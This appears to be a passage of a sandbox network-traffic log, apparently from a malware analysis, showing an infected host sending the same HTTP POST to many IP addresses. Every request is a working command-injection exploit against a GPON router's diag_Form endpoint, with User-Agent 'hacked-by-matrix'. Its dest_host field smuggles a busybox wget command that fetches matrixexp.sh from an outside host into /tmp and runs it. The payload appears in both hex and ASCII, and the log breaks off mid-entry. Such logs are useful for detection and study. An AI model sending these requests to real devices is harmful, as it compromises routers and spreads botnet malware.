Mar 2, 2024 12:36:52.845299006 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
236	192.168.2.23	45220	42.201.191.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:52.845325947 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
237	192.168.2.23	45736	178.39.156.136	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:55.849431038 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
238	192.168.2.23	44014	2.71.226.163	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:55.849438906 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
239	192.168.2.23	53790	94.190.134.234	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:55.849469900 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
240	192.168.2.23	35642	42.141.152.14	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:55.849472046 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
241	192.168.2.23	42858	118.98.80.170	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:55.849472046 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
242	192.168.2.23	56430	94.113.203.133	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:58.864684105 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
243	192.168.2.23	58028	5.40.4.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:58.864717007 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
244	192.168.2.23	52290	94.192.148.126	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:58.865442991 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
245	192.168.2.23	39632	5.175.2.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:58.865452051 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
246	192.168.2.23	40794	178.10.141.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:58.865453005 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
247	192.168.2.23	48430	37.56.221.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:58.865485907 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
248	192.168.2.23	53738	37.226.241.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:58.865489006 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
249	192.168.2.23	50362	37.124.130.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:58.865525961 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
250	192.168.2.23	34926	5.117.140.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:58.865528107 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
251	192.168.2.23	43448	42.17.252.213	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:58.865561962 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
252	192.168.2.23	43342	210.195.138.250	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:58.865564108 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
253	192.168.2.23	51672	37.99.40.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:58.865564108 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
254	192.168.2.23	41890	37.219.44.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:58.865577936 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
255	192.168.2.23	43274	212.41.224.226	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876629114 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
256	192.168.2.23	42182	5.216.233.12	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876637936 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
257	192.168.2.23	38444	2.175.241.255	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876651049 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
258	192.168.2.23	51532	2.153.132.25	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876681089 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
259	192.168.2.23	35596	42.218.59.63	443

Timestamp	Bytes transferred	Direction	Data
